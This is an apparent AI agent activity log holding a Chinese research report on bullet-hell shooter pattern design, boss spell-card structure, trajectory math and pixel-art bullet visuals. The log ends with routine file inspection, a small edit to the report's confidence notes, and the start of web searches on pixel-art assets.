发射前先给**细预警线(telegraph)**最公平;有固定/旋转/弯曲/网格激光 | 预警线细→粗的 2 帧过渡动画;激光主体用高亮+描边 |\n| **分裂弹(Split)** | 飞行中途/定时/到距离后爆成子弹(如 1→3),常伴随\"先停顿\"预警 | 分裂条件:时间/距离/位置;分裂后子弹可重新锁定玩家(note.com 2-13) | 母弹大而亮(告知\"会爆\"),子弹小一号;停顿帧加\"蓄力闪光\" |\n\n---\n\n## 3. Boss 战弹幕设计\n\n### 3.1 阶段转换与东方Project符卡系统(Spell Card)\n\n**东方Project 的符卡系统**(来源:Wikipedia《符卡》、百度百科、PIXNET 东方介绍):\n\n- **来源与规则**:符卡(Spell Card,スペルカード)由《东方红魔乡》首次引入(ZUN 自述为\"比其它系统更早面世\"而开发本作)。符卡规则 = \"给绝技命名并宣言\"的决斗规则:宣言、约定符卡张数、击破对方全部符卡即胜。\n- **敌方符卡流程**:\n 1. **非符(nonspell)**:Boss 的普通攻击,一般耐久条分格为单位;\n 2. **符卡宣言**:血量削到阈值时 Boss \"念符\"(宣言),画面切换为该角色专属 Spell Card 背景,进入符卡攻击;\n 3. **符卡红利(Spell Card Bonus, SCB)**:无 Miss 无 Bomb 击破符卡可获得额外分数,随时间递减;擦弹可增加红利;\n 4. **时间限制**:每张符卡有残余时间显示,超时 Boss 自动进入下一波(此时无法收取符卡)。\n- **符卡变体**:\n - **增强型符卡**:随血量削减,弹幕密度/速度逐渐增加,越到后面越难(强化难度的天然手段);\n - **时效型/时限型符卡**:耐久无法直接削减,玩家必须\"死守到时间结束\"才能收取(生存符卡 survival card;如《永夜抄》部分符卡);\n - **Last Spell / Last Word / Overdrive**:残机为零或特定条件下的最终符卡(Extra/隐藏挑战用)。\n- **难度变化**:同一符卡在 Easy/Normal 与 Hard/Lunatic 下常有**不同名字**(Higher 难度名字更华丽),弹幕排列与颜色也会变化(Wikipedia)。\n- **《魔理沙的魔法书》对符卡的分类**(Wikipedia):演剧型(重视觉效果、大量非瞄准装饰弹)、奴隶型(用使魔/人偶/式神攻击)、小虫型(细碎多彩、弱妖怪)、压迫型(限制自机移动范围)、兴奋剂型(强化自身)。\n\n**对本项目的启示**:阶段(Phase)不必按血量硬切,可以模仿\"非符→符卡宣言→符卡\"的节奏:普通阶段保持低密度教学,宣言瞬间清场 + 特效 + 显示符卡名,制造\"仪式感\";生存符卡(时限型)能复用已有图案、只改目标(熬过 X 秒),开发成本低、演出效果好。\n\n### 3.2 弹幕密度控制\n\n- **密度不是越多越好**:'curtain fire'不等于无限堆弹;密度阈值之后,可读性(readability)崩坏,玩家感到\"不公平\"而非\"华丽\"(note.com 3-2:设计缝隙而非密度)。\n- **难度曲线**:\n - 报告参考\"轻/重阶段交替\"(Danmaku Unlimited 3 采用东方式 light/heavy 交替:轻阶段让玩家喘息与移动,重阶段密集压迫,来源 Forgotten Worlds 采访);\n - 每个 Boss 阶段内\"缓慢升级\":起点是玩家已见过的简单变体,随后逐次加大子弹量/缩小缝隙/提高速度(SHMUP Workshop 03:slow escalation)。\n - 不同难度等级通过\"同一图案改密度/速度/名字\"来分层(东方难度差异,Wikipedia)。\n- **可控变量**(可做成运行时调参工具):子弹数、速度、发射间隔、扇形张角、环形偏转、随机种子、加层数。\n- **Cave 的 rank 系统**:根据玩家当前表现(残机/雷/击破率)动态调整弹幕强度——可选的高级机制(来源:TimeExtension;Boghog 亦建议用\"credit feed 降 rank\"来练习 Boss)。\n\n### 3.3 安全路径设计(Safe Zones / 缝隙 / 路线)\n\n弹幕的本质是\"缝隙谜题\",安全路径是设计对象而非巧合:\n\n- **微闪避(micrododging)**:在密集子弹的缝隙间小幅移动穿行(Sparen A3 / maribelhearn / Boghog);\n- **宏闪避(macrododging)**:对整个弹幕编队进行大幅度绕行、找到整块安全区(safe spot / safespot——\"内部完全不会被击中(或近于)的点/区域\",maribelhearn 术语);东方中 BOWAP、咲夜道中非符等是经典 safespot(maribelhearn Beginner Guide / jargon);\n- **引弹(streaming / misdirection)**:瞄准弹只有在玩家\"把弹流引到别处\"时才安全——设计上,持续的瞄准弹迫使玩家移动并制造\"下一波更难\"的位置压力(SHMUP Workshop 03:被满屏引导到尴尬位置会削弱后续应对;maribelhearn:misdirection 常在数秒空隙内完成);\n- **路线(routing)**:玩家在静态/半静态弹幕中规划的具体移动路径,是\"设计缝隙\"的最终产物;\n- **设计检查表**(综合 note.com 3-2 与 SHMUP Workshop 03):\n 1. 画图时刻意留下**可见的缝隙**(gap width > 判定点 + 子弹判定 + 误差余量);\n 2. 区分\"安全点型\"(原地不动即可)与\"移动型\"(需要持续引弹)两类安全路径,交替使用;\n 3. 用瞄准弹/区域封锁弹**主动关闭**上一轮的安全点,防止玩家蹲坑(area denial,SHMUP Workshop 03;以及\"anti-camping:避免玩家龟缩\"的 Boss 设计目标);\n 4. 每次重复图案时用随机种子旋转相位,避免出现固定盲区(Sparen A2)。\n\n### 3.4 时间限制与弹幕压力\n\n- **时限符卡**:上面已述(生存符卡)。在设计上,时限 = \"不需要 DPS 检验,纯粹考验躲避\",适合放在 Boss 战中段作为节奏变化点(东方文花帖/弹幕天邪鬼等衍生作品以\"时限+道具\"为核心玩法)。\n- **压力节奏(tension-release loop)**:\n - 每个波次设计\"入口压力→主压力→释放\"三段式:先预警(低压力、可读),再高压(核心躲避),最后 1–2 秒\"突然变简单\"给玩家胜利快感(Boss Up YouTube:survive 之后的那 1 秒喘息极具成瘾性);\n - 压力来源可以分层:视觉压力(满屏)、逻辑压力(瞄准)、时间压力(超时/残机消耗)。\n- **Boss 战的五个设计要素**(来源:Game Developer《Video Game Boss Design for Shmups》):\n 1. **难度 Difficulty**:首关 Boss 必须让\"认真玩的人\"能过;Boss 攻击应与关卡已有敌人/道具主题连贯(\"进化\"而非\"空降\");\n 2. **多样性 Variety**:Boss 血量条分段显示图案边界;同一段血内可循环多个攻击,且每次攻击要求不同的躲避/输出策略;\n 3. **时长 Length**:Boss 战时长与关卡时长成比例;中 Boss 不应比关底 Boss 长;把\"信息不对等的假 Boss → 真 Boss\"当一次性惊喜;\n 4. **回报 Pay-off**:Boss 战末尾(濒死前)往往\"倾泻所有弹幕\"制造最终高潮(Mushihimesama、ESPGaluda2、Ikaruga 第 3 章 Boss 都是例子);好回报 = 节奏铺垫 + 假危机;\n 5. **角色 Character**:爆炸方式、受击反馈、蓄力/宣言动画、音效都要符合角色性格——这是\"为什么这个 Boss 挡在这里\"的叙事答案。\n\n### 3.5 东方式 Boss 战结构参考(综合)\n\n1. 开战:非符 1(轻、教学、环/扇)\n2. 符卡宣言(换背景、念符名)→ 符卡 1(主题图案,时间限制,收取奖励)\n3. 非符 2(中压,引入瞄准/引弹)\n4. 符卡 2(组合图案,增强型:随血量变密)→ ……\n5. 濒死:Last Spell / 最终符卡(最强+最华丽)→ 消弹演出(击破瞬间子弹变道具)\n6. (挑战层)隐藏:Extra 时限符卡 / 弹幕天邪鬼式\"看似不可能\"组合\n\n---\n\n## 4. 数学原理与实现\n\n### 4.1 基础参数体系\n\n任何一个弹幕模式都可由以下参数组合生成(来源:note.com 第 4 章;o3de-diorama 参数表):\n\n| 参数 | 作用 | 备注 |\n|---|---|---|\n| 发射位置 | 敌中心/屏幕边缘/多炮塔 | 决定子弹出生点阵型 |\n| **发射角度** | 固定 / 旋转 / 瞄准 / 随机 | 最易出效果 |\n| 子弹数量 | 密度 | 环形=一圈数量、扇形=扇内数量 |\n| 发射间隔 | 节奏 | 决定\"流\"还是\"波\" |\n| 子弹速度 | 难度与观感 | 快=危险、慢=可读 |\n| 加速度 | 节奏与曲线 | 减速弹、加速弹 |\n| 角速度 | 螺旋、转向弹 | 曲线弹的核心 |\n| 寿命 | 消失时机 | 滞留弹=长寿命 |\n| 分裂条件 | 时间/距离/位置 | 分裂弹 |\n| 颜色/大小 | 可读性与美观 | 颜色=属性编码 |\n\n### 4.2 角度与排列公式(常用)\n\n- **环形**:`angle_i = base + i·360/n`,`v = speed·(cos, sin)`(2.1 节)\n- **扇形**:`angle_i = aim - spread/2 + i·spread/(n-1)`(2.3 节)\n- **瞄准**:`angle = atan2(py - ey, px - ex) + 偏移`(瞄准扇 = 在其两侧均匀分布)\n- **网格**:对 `(i,j)` 行列给固定 x/y 间距\n- **正弦波**:`x 或 y += A·sin(ω·t + φ)`(2.10 波型)\n- **花瓣/星形**:`angle_i = base + i·(360/petal) + 相位`,再由花瓣内多颗子弹构成瓣形\n- **规律+微扰**:`angle = base + i·even + sin(t)·fluct`,`speed = base + random(-δ,δ)`(note.com 3-1)\n- **周期循环**:如\"每 60 帧一波大浪、每 15 帧小弹、每 4 发反转角度\"制造音乐性节奏(note.com 3-4)\n\n### 4.3 速度变化(加速/减速弹幕)\n\nDanmokou(DMK 引擎)归纳的常见运动(来源:Danmokou Tutorial 6):\n\n1. 恒定速度直线(默认)\n2. **直线加速**(`v(t) = v0 + a·t`,可正可负:赶人弹/诱导弹)\n3. 速度在慢/快之间周期切换\n4. 两位置间往返\n5. 极坐标运动(径向+角速度)\n6. 波浪线(squiggly)\n7. 旋转运动方向(追踪/转向)\n8. 相对另一运动物体运动(随从弹/母舰子机)\n9. 任意参数方程轨迹\n\n工程提示:DMK 把运动建模为**函数**(`rvelocity(px(3 + sine(4, 0.6, t)))`),而不是\"速度/加速度两个标量\",从而任意轨迹即插即用;其子弹更新循环一次函数调用即可支撑 10 万以上子弹 @4K 120FPS(DMK 官方数据)。\n\n### 4.4 曲线弹幕(转向 / 极坐标 / 贝塞尔)\n\n- **限速转向(追踪弹)**:每帧把朝向转向上限内的目标方向(2.6 节公式);\"转向弱一点更好躲也更好看\"(note.com 2-13)。\n- **极坐标螺旋**:`r(t)=a·t, θ(t)=b·t` → 直角坐标 `x = cx + r·cosθ, y = cy + r·sinθ`(DMK 示例 `polar(2*t, 80*t)`)。注意极坐标绕圈时转速均匀性需要弧长参数化,DMK 作者自述\"没有闭式解,需迭代求解\"。\n- **贝塞尔曲线(弯曲弹)**:二次贝塞尔 `B(t) = (1-t)²·P0 + 2(1-t)·t·P1 + t²·P2`,每帧采样 t∈[0,1] 作为下一位置(通用图形学做法,非本次调研单一来源;用于\"弧形弹道/水漂弹\")。三次贝塞尔 `C(t)` 用于更复杂的 S 形弹道。\n- **正弦扰动**:在固定方向上叠加正弦横向偏移,成为\"S 形\"弹(Unity 论坛实现示例)。\n- **角度退化/曲线激光**:东方中存在\"准激光\"(弧形激光、曲线灵弹),判定比直线激光大(thwiki 弹型介绍)——曲线弹道要么给足预警,要么减小判定。\n\n### 4.5 性能实现建议\n\n- **对象池(object pool)**:固定容量池 + 硬上限,防止无限生成(o3de-diorama 的 `Max Bullets` 硬上限设计)。\n- **批量渲染**:同一纹理的整组子弹一次 draw call(sprite batch / 合批)。\n- **碰撞**:每颗活子弹对目标碰撞层做一次重叠查询,目标层只放玩家/护盾几个碰撞体,几百颗子弹也便宜(o3de-diorama)。\n- **功能分层**:发射器(emitter)只管几何与碰撞,伤害/计分留在游戏侧(o3de-diorama 的分工建议)。\n\n---\n\n## 5. 像素风格下的弹幕视觉设计\n\n### 5.1 子弹形状库\n\n**核心原则**:'shmup 最核心的是弹幕的可读性(visibility)——在任何背景下都能被读出'(slynyrd Pixelblog 31)。形状即语义:**形状要匹配行为**(Sparen Guide A2 / Pixelblog 32:箭形弹配直线飞行才合理;追踪弹要旋转指向的运动方向)。\n\n**东方参考形状清单**(来源:thwiki《东方全弹型介绍与中弹判定分析》、maribelhearn 子弹类型表、Steam Touhou Bullets Model Pack):\n\n| 类别 | 形状 | 用途/特点 | 像素建议 |\n|---|---|---|---|\n| 圆形系 | 小玉(带圈/不带圈)、中玉、大玉(空心) | 通用基础弹;大玉实际判定仅中心空洞 | 6–10px 圆 + 描边;大玉用\"中空环\"贴图配透明中心 |\n| 粒状 | 点弹、米弹 | 点弹最小(<判定点),米弹为最高发弹量弹型之一 | 3–4px 点、8×4 米粒;米弹风速后有变短/判定变大差异 |\n| 尖形 | 针弹/箭弹/晶弹 | 速度感、方向感最强 | 长 8–14px 的三角/箭头,尖端高亮 |\n| 刀剑形 | 刀弹、剑弹、苦无 | 角色辨识度高(如咲夜/蕾米) | 剑身+尖端高光;前端无判定所以略细 |\n| 星光形 | 星弹(大/小)、光弹 | 华丽、魔法感;光弹判定偏大 | 4 角/5 角星 + 旋转动画 |\n| 特殊形 | 蝶弹、心弹、音符弹、钱弹、鳞弹(带\"翼\") | 角色主题、装饰 | 2 帧扇翅/跳动动画;鳞弹判定仅中心点 |\n| 火焰/流体 | 炎弹、水滴/滴弹 | 不规则 | 2–3 帧沸腾动画,\"躲前端\"语义 |\n| 激光 | 线段激光/射线激光、弧形激光 | 封路、视觉冲击 | 预警线(细)→ 实体(粗)2 帧过渡;线身描边 |\n\n**东方判定参考**(thwiki):多数弹\"判定 < 视觉\":大玉只有中心空洞有效、鳞弹只有中心点、剑弹前端无判定、激光靠预警线判定;当\"准激光/粥弹/核弹\"等判定欺诈弹出现时,需要玩家另行学习——像素风下**不要滥用判定欺诈**,默认\"所见即所判\"更公平。\n\n### 5.2 颜色编码\n\n- **基础原则**:子弹是屏幕上最鲜艳的元素;用高饱和色与背景拉开对比;颜色可传达属性/机制语义(slynyrd;note.com 3-3)。\n- **按属性/危险度编码**示例:\n - 红/橙 = 高速、致命、普通攻击;\n - 蓝/青 = 特殊判定、特殊移动(如反弹/曲线/激光);\n - 紫/白 = 装饰弹、非致命、演出用;\n - 绿 = 通常用于玩家/友方,避免敌方子弹大量用绿(语义混淆)。\n - (以上为常见实践惯例,属综合常识,非单一文献结论。)\n- **注意**:颜色要与背景/特效区分(note.com 3-3);考虑红绿色盲——**不要只靠红/绿区分要害**,同时用形状/大小/闪烁区分。\n- **同波同色**:同一次发射的子弹用同一色系,方便玩家把\"一波子弹\"当整体读(note.com 3-3:子弹类型或危险度不同则换色)。\n\n### 5.3 子弹大小与可躲避性\n\n- **判定点 vs 视觉**:自机 hitbox 远小于机绘(Cave 1px hitbox、DoDonPachi 子弹判定约直径 20%,来源 TimeExtension/Shmups Wiki);聚焦模式时在判定点处显示小红点让玩家能\"穿缝\"。\n- **子弹尺寸**:越大越可见但占屏;太小(<判定点)会\"消失\"且威胁感弱。建议子弹视觉 6–16px 常见、点弹 3–4px、激光不限长(slynyrd:子弹应大小多样,通常越大伤害越高)。\n- **缝隙设计**:安全缝隙宽度 = 玩家判定 + 子弹判定 + 玩家操作误差(微闪避用低速聚焦移动保证精度);设计时给缝隙留 ≥2–3px 冗余(工程经验法则)。\n- **密度 vs 大小**:子弹越小越能密(给留出视觉通道);同屏密度高时,小弹+弱判定(空心大玉)是\"看起来吓人、实际可穿\"的经典手法(thwiki 大玉示例)。\n\n### 5.4 发光/粒子效果在像素风格中的处理\n\n- **描边(outline)**:几乎必备,最好**双层描边**(亮色外圈+暗色内圈)以保证任何背景下可读;pixel 风格常用白描边与其它精灵(深描边)区分(slynyrd)。\n- **闪烁/双帧动画**:两帧交替即可做出\"呼吸/危险脉冲\";对比度越大越激烈,但太强会难以追踪快速弹(slynyrd)。\n- **发光**:像素风发光 = 亮色核心 + 1 层半透明同色光晕(加色混合 additive)或\"外扩 1px 亮描边\";避免真实 bloom 破坏像素感。\n- **粒子**:爆炸/火花/花瓣用\"范围+偏置\"的受控随机(note.com 2-12);粒子可叠加在弹幕上做纹理而不是独立威胁。\n- **脉冲缩放**:呼吸/脉动(expanding-contracting)可让呆滞的圆弹\"活起来\"(slynyrd 的 rotation/motion 建议)。\n- **消弹特效**:Boss 符卡击破瞬间,全屏子弹转为道具/星点,是东方色的标志性演出(Touhou Wiki Items:子弹在 Boss 攻击结束/未超时被打掉时转为星道具;消弹 cancel 亦为计分要素,maribelhearn 术语)。\n\n### 5.5 弹幕层级的视觉优先级\n\n绘制顺序(从底层到顶层,工程惯例 + Reddit shmupdev 设计 101 摘要:\"敌方子弹永远画在其它对象之上\"):\n\n1. 背景/场景层\n2. 地面敌人/可破坏物\n3. 道具、点数\n4. 玩家射击、爆炸特效(半透明)\n5. **敌方子弹(最高优先级之一,必须覆盖玩家机绘)**\n6. 玩家机绘 + 判定点指示(聚焦时)\n7. UI(血量/符卡名/时间)\n\n理由:玩家需要\"先读弹,再读自己\";若子弹被机绘/特效遮挡,就会产生\"判定杀(clipdeath)\"的挫败感(maribelhearn 术语)。\n\n### 5.6 像素风格弹幕设计清单(落地用)\n\n- [ ] 每种模式指定**1 个主色 + 1 种子弹形状**(勿两种都在变);\n- [ ] 危险弹用暖色+闪光,装饰弹用冷色/暗色调;\n- [ ] 所有敌方子弹带描边(建议双层),且在玩家机绘之上绘制;\n- [ ] 直线/追踪/曲线弹使用**方向性贴图**(箭头/针/刀)并随角度旋转;\n- [ ] 预警:激光先细线→粗线;分裂弹先停顿+蓄力闪光;大威力攻击让 Boss 本体发光(note.com 3-5);\n- [ ] 判定 < 视觉:默认简化判定(圆/椭圆),为\"大玉/鳞弹\"这类特殊判定做贴图注释(空心=可穿);\n- [ ] 像素分辨率建议在 320×180~640×360 区间定基准(slynyrd 建议 480×270),保证单个子弹仍有足够像素表达细节;\n- [ ] 每张符卡/阶段限定子弹色彩数(建议 2–3 色),避免像素噪点化。\n\n---\n\n## 6. 对本项目(像素风弹幕游戏)的落地建议汇总\n\n1. **词库起步**:环形 / 螺旋 / 扇形 / 直线(流+墙)/ 瞄准扇 / 受控随机 / 分裂弹 / 激光(带预警)/ 滞留结界,共 9 个基础模式,先用\"参数化发射器\"(Count/Aim/Spread/Spin/Speed/FireRate/Lifetime)实现(参照 o3de-diorama 的参数表),Boss 脚本只做\"模式序列 + 转场\",成本最低。\n2. **难度曲线**:按\"非符(轻)→ 符卡(重)→ 非符 → 符卡 …\"排布;每张符卡 = 1 主题图案 + 增强型变密 + 时限生存变体(一套图案三种玩法)。\n3. **公平性**:所有危险性一定要有预警(telegraph);缝隙 > 判定 + 冗余;颜色+形状双通道编码。\n4. **像素视觉**:双层描边 + 双帧闪烁 + 加色发光小光晕 + 同波同色 2–3 色限制 + 子弹层级最高。\n5. **性能**:对象池 + 合批 + 简化碰撞层(目标只放玩家/护盾),确保几百到几千颗子弹稳定 60FPS。\n\n---\n\n## 7. 信息来源与置信度说明\n\n按信息诚实原则,对所有关键结论标注来源与置信度:\n\n**(A)本轮调研直接引用的网页来源(置信度高,可复核):**\n\n1. npaka,《A Summary of 15 Beautiful Bullet Hell Patterns in Danmaku Shooters》(note.com)——15 种模式分类、组合配方、参数与设计 tips:https://note.com/npaka/n/n5d38b7d84173?hl=en\n2. Sparen's Danmaku Design Studio,Guide A2(角度类型、方向性子弹、心理过滤、danmaku vs 普通 STG)、Guide A3(墙的定义、微/宏闪避、Utsuho 例子):https://sparen.github.io/ph3tutorials/ddsga2.html 、ddsga3.html\n3. Danmokou(DMK 引擎)Tutorial 6(函数式运动系统、极坐标螺旋公式、性能数据、贝塞尔/参数方程讨论):https://dmk.bagoum.com/docs/articles/t06.html\n4. Wikipedia《符卡》(符卡规则、宣言、红利、时效/增强型、Last Spell/Last Word/Overdrive、难度差异、魔理沙魔法书分类):https://zh.wikipedia.org/zh-hans/符卡\n5. thwiki/东方吧Wiki《东方全弹型介绍与中弹判定分析》(小玉/米弹/点弹/大玉/光弹/针弹/鳞弹/剑弹/炎弹/激光/核弹/粥弹及判定细则):https://touhou8.thwiki.cc/index.php?edition-view-1281-1.html=\n6. maribelhearn 《Touhou Community Jargon》(子弹类型表、micro/macro dodge、safespot、streaming、misdirection、routing、cancel、clipdeath 等术语):https://maribelhearn.com/faq/jargon(含中文版)\n7. maribelhearn Beginner Guide(微/宏闪避、流弹引弹、safespot 举例 BOWAP 等):https://wiki.maribelhearn.com/wiki/Beginner_Guide\n8. slynyrd Pixelblog 31《Shmup Design Part 1》(像素子弹设计:颜色/大小/形状/描边/闪烁/旋转、分辨率建议);Pixelblog 32(外观与行为匹配):https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design\n9. Game Developer《Video Game Boss Design For Shmups》(Boss 五要素:难度/多样性/时长/回报/角色;健康条分段;Cave 例子):https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups\n10. SHMUP Workshop 03《Bullet Pattern Design》(模式角色:警告/位移/区域封锁/最终引导;slow escalation;微宏闪避;CAVE tracking 做法;Boss 设计目标):YouTube ArZRZSYICLo\n11. TimeExtension《CAVE Story: The History of DonPachi》(命中率 20% 判定、自爆弹、rank 系统、1px hitbox);Shmups Wiki《CAVE》词条(1px 判定、游戏清单):https://www.timeextension.com/features/cave-story-the-history-of-donpachi-the-shmup-series-that-changed-everything\n12. Forgotten Worlds《A guide to Danmaku Unlimited 3》(脚本化弹幕、Touhou 式轻/重阶段交替):https://www.forgottenworlds.net/bullet-hell-danmaku\n13. Zen of the SHMUP(DonPachi 系列=图案+记忆、Mushihimesama=快速集中火、Cave 组合):https://richardschupp.wordpress.com/tag/the-zen-of-the-shmup\n14. o3de-diorama《24-bullet-patterns.md》(Ring/Fan/Spiral 参数表、对象池、合批、碰撞层设计):https://github.com/nickschuetz/o3de-diorama/blob/main/Docs/howto/24-bullet-patterns.md\n15. Boghog's bullet hell shmup 101(bullet sealing、micro/macro dodge 补充):https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101\n16. Reddit r/shmupdev《BULLET HELL SHMUP DESIGN 101》(\"敌方子弹永远绘制在其他对象之上\"等原则,仅经搜索摘要获取,置信度中):https://www.reddit.com/r/shmupdev/comments/13w730k/\n17. 其它:Summer Engine(判定点/聚焦/擦弹术语)、Touhou Wiki Items(消弹转星道具)、Steam Touhou Bullets Model Pack(子弹形状清单)、Ted Lim《Day 49》(sin/cos 扇面公式)等。\n\n**(B)置信度说明:**\n\n- 上述 (A) 列来源中的具体论断:**我很确定**它们出自对应来源(可直接复核)。\n- \"经典游戏例子\"中标注为\"常识\"的条目(如\"东方各作螺旋遍地\"\"雅雅…\"),来自模型通用知识,**没有在本轮调研中逐条核实**,读者如需引用请自行在对应游戏攻略中确认。\n- \"像素建议\"\"设计检查表\"\"落地建议\"等小节为**基于上述来源的综合工程建议**(合理推断,非文献原文),置信度中上,请结合游戏实测调整。\n- 反弹弹(2.7)在东方系纵版弹幕中近乎缺席是**常识判断**;调研资料中未找到专门文献,如要使用建议先做原型验证。\n\n---\n\n## 附录 A:参考链接汇总\n\n- https://note.com/npaka/n/n5d38b7d84173?hl=en (15 种弹幕模式)\n- https://sparen.github.io/ph3tutorials/ddsga2.html / ddsga3.html (弹幕设计工作室指南)\n- https://dmk.bagoum.com/docs/articles/t06.html (Danmokou 运动函数哲学)\n- https://zh.wikipedia.org/zh-hans/符卡 (符卡系统)\n- https://touhou8.thwiki.cc/index.php?edition-view-1281-1.html= (东方全弹型介绍与判定分析)\n- https://maribelhearn.com/faq/jargon (东方社区术语与子弹类型)\n- https://wiki.maribelhearn.com/wiki/Beginner_Guide (躲避策略入门:微/宏闪避、引弹、安全点)\n- https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design (像素弹幕设计)\n- https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups (STG Boss 设计)\n- https://shmups.wiki/library/CAVE (CAVE 公司与其游戏)\n- https://www.timeextension.com/features/cave-story-the-history-of-donpachi-the-shmup-series-that-changed-everything (DonPachi 历史)\n- https://richardschupp.wordpress.com/tag/the-zen-of-the-shmup (Cave 弹幕风格对比)\n- https://www.forgottenworlds.net/bullet-hell-danmaku (Danmaku Unlimited 3 访谈)\n- https://github.com/nickschuetz/o3de-diorama/blob/main/Docs/howto/24-bullet-patterns.md (发射器实现与参数)\n- https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101 (bullet hell 设计 101)\n- https://www.youtube.com/watch?v=ArZRZSYICLo (SHMUP Workshop 03 弹幕模式设计)\n- https://www.youtube.com/watch?v=zEPgFaIpa6o (Boss 设计 Week 25:螺旋/双螺旋实现)\n- https://www.youtube.com/watch?v=To5rOl6pn08 (Boss 战设计:攻击前摇、防龟缩)\n- https://tedlim-65557.medium.com/day-49-bullet-hell-pattern-2d-space-shooter-series-c91e4eccad7c (sin/cos 扇面数学)\n- https://www.summerengine.com/ai-bullet-hell-maker (判定点/聚焦/擦弹/密度调参)\n\n*报告完*"}, "ts": 1787459605774}, {"type": "progress", "id": "call_eea8998dbc584718a8560e5d", "tool": "run_command", "status": "running", "args": {"command": "ls -la /Users/demo/starraid/research/bullet_patterns/ && echo \"---\" && wc -l /Users/demo/starraid/research/bullet_patterns/bullet_pattern_research.md && echo \"---\" && head -20 /Users/demo/starraid/research/bullet_patterns/bullet_pattern_research.md", "timeout": 30}, "ts": 1787459610683}, {"type": "progress", "id": "call_eea8998dbc584718a8560e5d", "tool": "run_command", "status": "completed", "args": {"command": "ls -la /Users/demo/starraid/research/bullet_patterns/ && echo \"---\" && wc -l /Users/demo/starraid/research/bullet_patterns/bullet_pattern_research.md && echo \"---\" && head -20 /Users/demo/starraid/research/bullet_patterns/bullet_pattern_research.md", "timeout": 30}, "ts": 1787459610737}, {"type": "progress", "id": "call_5637635943d546359790678a", "tool": "read_file", "status": "running", "args": {"path": "research/bullet_patterns/bullet_pattern_research.md", "type": "search", "query": "雅雅"}, "ts": 1787459614924}, {"type": "progress", "id": "call_5637635943d546359790678a", "tool": "read_file", "status": "completed", "args": {"path": "research/bullet_patterns/bullet_pattern_research.md", "type": "search", "query": "雅雅"}, "ts": 1787459614929}, {"type": "progress", "id": "call_19b6b3039b6f452b9b75ab59", "tool": "edit_file", "status": "running", "args": {"file_path": "research/bullet_patterns/bullet_pattern_research.md", "replacements": [{"old_string": "\"经典游戏例子\"中标注为\"常识\"的条目(如\"东方各作螺旋遍地\"\"雅雅…\"),来自模型通用知识,**没有在本轮调研中逐条核实**,读者如需引用请自行在对应游戏攻略中确认。", "new_string": "\"经典游戏例子\"中标注为\"常识\"的条目(例如\"东方各作螺旋遍地\"\"芙兰朵露星弧破碎\"等),来自模型通用知识,**没有在本轮调研中逐条核实**,读者如需引用请自行在对应游戏攻略中确认。"}]}, "ts": 1787459618982}, {"type": "progress", "id": "call_19b6b3039b6f452b9b75ab59", "tool": "edit_file", "status": "completed", "args": {"file_path": "research/bullet_patterns/bullet_pattern_research.md", "replacements": [{"old_string": "\"经典游戏例子\"中标注为\"常识\"的条目(如\"东方各作螺旋遍地\"\"雅雅…\"),来自模型通用知识,**没有在本轮调研中逐条核实**,读者如需引用请自行在对应游戏攻略中确认。", "new_string": "\"经典游戏例子\"中标注为\"常识\"的条目(例如\"东方各作螺旋遍地\"\"芙兰朵露星弧破碎\"等),来自模型通用知识,**没有在本轮调研中逐条核实**,读者如需引用请自行在对应游戏攻略中确认。"}]}, "ts": 1787459619034}, {"type": "progress", "id": "call_881806772c334794ba09e781", "tool": "todo_update_task", "status": "running", "args": {"completed": true, "task_indices": [5]}, "ts": 1787459622283}, {"type": "progress", "id": "call_881806772c334794ba09e781", "tool": "todo_update_task", "status": "completed", "args": {"completed": true, "task_indices": [5]}, "ts": 1787459622284}]}} \ No newline at end of file diff --git a/demo/mock/activity-sub_3_1787459393_3da5a5.json b/demo/mock/activity-sub_3_1787459393_3da5a5.json new file mode 100644 index 0000000..2f3e809 --- /dev/null +++ b/demo/mock/activity-sub_3_1787459393_3da5a5.json @@ -0,0 +1 @@ +{"success": true, "data": {"status": "completed", "entries": [{"type": "progress", "id": "call_b08fe4a4a2474a97b1c4bdea", "tool": "search_project_memory", "status": "running", "args": {"keywords": ["弹幕游戏", "pixel art", "STG", "bullet hell", "美术"]}, "ts": 1787459397527}, {"type": "progress", "id": "call_b08fe4a4a2474a97b1c4bdea", "tool": "search_project_memory", "status": "completed", "args": {"keywords": ["弹幕游戏", "pixel art", "STG", "bullet hell", "美术"]}, "ts": 1787459397529}, {"type": "progress", "id": "call_747c31abf4ca4df594277573", "tool": "web_search", "status": "running", "args": {"query": "pixel art shmup sprites player ship design", "max_results": 6}, "ts": 1787459397530}, {"type": "progress", "id": "call_747c31abf4ca4df594277573", "tool": "web_search", "status": "completed", "args": {"query": "pixel art shmup sprites player ship design", "max_results": 6}, "ts": 1787459402207}, {"type": "progress", "id": "call_615703da5d0c4315ad02ba18", "tool": "web_search", "status": "running", "args": {"query": "bullet hell pixel art assets free itch.io", "max_results": 6}, "ts": 1787459402210}, {"type": "progress", "id": "call_615703da5d0c4315ad02ba18", "tool": "web_search", "status": "completed", "args": {"query": "bullet hell pixel art assets free itch.io", "max_results": 6}, "ts": 1787459406627}, {"type": "progress", "id": "call_1e0e1623496741728558dfaf", "tool": "todo_create", "status": "running", "args": {"overview": "调研像素风格弹幕游戏美术设计并输出结构化报告", "tasks": [{"title": "检索自机设计(SLYNYRD教程、东方Project风格、hitbox)"}, {"title": "检索敌方单位与Boss设计(杂兵/预警机制)"}, {"title": "检索子弹像素美术(尺寸/颜色/动画帧/清晰度)"}, {"title": "检索特效与UI(爆炸/道具/得分/HUD)"}, {"title": "搜集itch.io免费素材与参考资源链接"}, {"title": "整理撰写 pixel_art_research.md 并保存到交付目录"}]}, "ts": 1787459412703}, {"type": "progress", "id": "call_1e0e1623496741728558dfaf", "tool": "todo_create", "status": "completed", "args": {"overview": "调研像素风格弹幕游戏美术设计并输出结构化报告", "tasks": [{"title": "检索自机设计(SLYNYRD教程、东方Project风格、hitbox)"}, {"title": "检索敌方单位与Boss设计(杂兵/预警机制)"}, {"title": "检索子弹像素美术(尺寸/颜色/动画帧/清晰度)"}, {"title": "检索特效与UI(爆炸/道具/得分/HUD)"}, {"title": "搜集itch.io免费素材与参考资源链接"}, {"title": "整理撰写 pixel_art_research.md 并保存到交付目录"}]}, "ts": 1787459412703}, {"type": "progress", "id": "call_c1143ba8dad5409dafe433d3", "tool": "extract_webpage", 